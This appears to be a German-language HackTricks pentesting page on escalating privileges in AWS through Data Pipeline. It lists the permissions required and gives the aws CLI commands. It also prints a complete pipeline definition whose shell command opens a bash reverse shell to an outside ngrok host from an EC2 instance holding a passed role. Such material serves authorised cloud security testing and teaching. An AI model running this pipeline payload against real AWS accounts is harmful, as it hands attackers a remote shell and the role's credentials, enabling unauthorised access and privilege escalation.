AWS - Datapipeline Privesc

Support HackTricks

datapipeline

Für weitere Informationen über datapipeline überprüfen Sie:

AWS - DataPipeline, CodePipeline & CodeCommit Enum

iam:PassRole, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition, datapipeline:ActivatePipeline

Benutzer mit diesen Berechtigungen können Privilegien erhöhen, indem sie eine Data Pipeline erstellen, um beliebige Befehle mit den Berechtigungen der zugewiesenen Rolle auszuführen:

aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string

Nach der Erstellung der Pipeline aktualisiert der Angreifer deren Definition, um spezifische Aktionen oder Ressourcenerstellungen festzulegen:

{
"objects": [
{
"id" : "CreateDirectory",
"type" : "ShellCommandActivity",
"command" : "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn" : {"ref": "instance"}
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id" : "instance",
"name" : "instance",
"type" : "Ec2Resource",
"actionOnTaskFailure" : "terminate",
"actionOnResourceFailure" : "retryAll",
"maximumRetries" : "1",
"instanceType" : "t2.micro",
"securityGroups" : ["default"],
"role" : "assumable_datapipeline",
"resourceRole" : "assumable_ec2_profile_instance"
}]
}

Beachten Sie, dass die Rolle in Zeile 14, 15 und 27 eine Rolle sein muss, die von datapipeline.amazonaws.com übernommen werden kann, und die Rolle in Zeile 28 muss eine Rolle sein, die von ec2.amazonaws.com mit einem EC2-Profil-Instanz übernommen werden kann.

Darüber hinaus hat die EC2-Instanz nur Zugriff auf die Rolle, die von der EC2-Instanz übernommen werden kann (d.h. Sie können nur diese stehlen).

aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
--pipeline-definition file:///pipeline/definition.json

Die Pipeline-Definitionsdatei, die vom Angreifer erstellt wurde, enthält Anweisungen zur Ausführung von Befehlen oder zur Erstellung von Ressourcen über die AWS-API, wobei die Rollenberechtigungen der Data Pipeline genutzt werden, um potenziell zusätzliche Berechtigungen zu erlangen.

Potenzielle Auswirkungen: Direkte Privilegieneskalation zur angegebenen EC2-Dienstrolle.

Referenzen

Unterstützen Sie HackTricks

Last updated